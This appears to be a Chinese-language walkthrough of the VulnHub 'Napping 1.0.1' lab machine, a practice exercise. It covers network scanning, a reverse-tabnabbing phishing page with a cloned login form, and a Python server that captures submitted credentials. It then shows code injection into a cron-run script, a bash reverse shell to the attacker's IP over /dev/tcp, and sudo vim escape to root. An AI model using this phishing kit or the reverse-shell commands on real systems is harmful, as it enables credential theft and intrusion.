Napping: 1.0.1靶场攻略
靶场:Napping: 1.0.1 ~ VulnHub
说明:因为不会这道题的解法看了大家的攻略复现过程中发现了一些问题,用ai等工具改进后得出 结果。问题具体表现为网上普遍的解法用nc lvp 8888 和python -m http.server 到8000端口后靶机会无法post成功,因为根据同源策略由8000端口转换为8888端口后会向8888端口发送请求头,nc监听无法回应,靶机只能转向8000端口发送post请求,而http中没有post功能会出现503报错。以下是具体攻略,只讲解过程,有不会的代码请自行ai。
环境介绍
虚拟机:VirtualBox
靶机ip:192.168.86.8
攻击机ip: 192.168.86.4(kali)
连接方式:NAT网络
一、信息搜集
扫描局域网获得靶机ip
arp-scan -l找到ip为192.168.86.8。
用namp扫描开放端口
nmap -A -p 1-65535 192.168.86.822 ssh端口和80 默认端口开着。访问目录没结果,不列出了,我们直接下一步,访问浏览器。
二、漏洞利用
打开 http://192.168.86.8/
注册一个账户登录。
您好,管理员!欢迎来到我们的免费博客推广网站。 请提交你的链接以便我们开始审核。所有链接都会由管理员进行核验。
意思就是我们提交的网站他管理员会登录,我们就可以使用钓鱼链接提交网站。
首先我们要制作自己的钓鱼脚本B.html
<script> if(window.opener){ window.opener.location.replace("http://192.168.86.4:8000/c.html"); } </script>意思是打开就会跳转到我们设置的仿靶机的登录网站。
然后直接查看登录页面的源代码制作c.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body{ font: 14px sans-serif; } .wrapper{ width: 360px; padding: 20px; } </style> </head> <body> <div class="wrapper"> <h2>Login</h2> <p>Please fill in your credentials to login.</p> <form action="/" method="post"> <div class="form-group"> <label>Username</label> <input type="text" name="username" class="form-control " value=""> <span class="invalid-feedback"></span> </div> <div class="form-group"> <label>Password</label> <input type="password" name="password" class="form-control "> <span class="invalid-feedback"></span> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Login"> </div> <p>Don't have an account? <a href="register.php">Sign up now</a>.</p> </form> </div> </body> </html>注意把表格提交位置这个改一下,<form action="/" method="post">
再写一个server.py
from http.server import HTTPServer, BaseHTTPRequestHandler import os class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path.lstrip("/") if os.path.exists(path): with open(path, "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write(data) else: self.send_response(404) self.end_headers() def do_POST(self): length = int(self.headers["Content-Length"]) data = self.rfile.read(length).decode() print("\n==== 捕获登录凭证 ====") print(data) print("======================\n") self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write("<h3>登录成功,请稍后</h3>".encode("utf-8")) if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 8000), Handler) print("服务启动 0.0.0.0:8000") server.serve_forever()把他们放kali的/var/www/html里,放不进去的话右键open as root,输入密码就行了。然后
运行server.py
python3 server.py这里稍微讲解一下为什么会这样,因为http没有post请求,所以需要用python脚本建立一个post方式这样我们建立的http回话才能用post传递。这里比较抽象,可以结合别人的攻略还有开头我说的问题一起阅读更方便理解。
具体是这样的
得到账号密码
- 用户名:
daniel - 密码:
C@ughtm3napping123
用ssh登录
ssh daniel@192.168.86.8如果有问题 就输入yes
然后输入密码C@ughtm3napping123
三、提权
用id查看当前所在的用户组
发现administrators
查找administrators下的可执行文件
find / -group administrators 2>/dev/null然后往里塞两行代码,让他打开shell.sh文件。
import os os.system('/usr/bin/bash /home/daniel/shell.sh')用vim 打开这个python.py
vim /home/adrian/query.pyi插入,写完了之后按ESC,然后输入:wq!回车保存!
然后再写shell.sh
vim /home/daniel/shell.shbash -c 'bash -i >& /dev/tcp/192.168.86.4/1234 0>&1'完成后用kali监听nc
nc -lvpp 1234sudo -l,列出当前用户所有 sudo 权限,发现vim
用vim提权,
sudo /usr/bin/vim -c ':!/bin/sh'这回就是root了,
找到root所属文件夹。
cd /root ls cat root.txtAdmins just can't stay awake tsk tsk tsk
结果是这个。
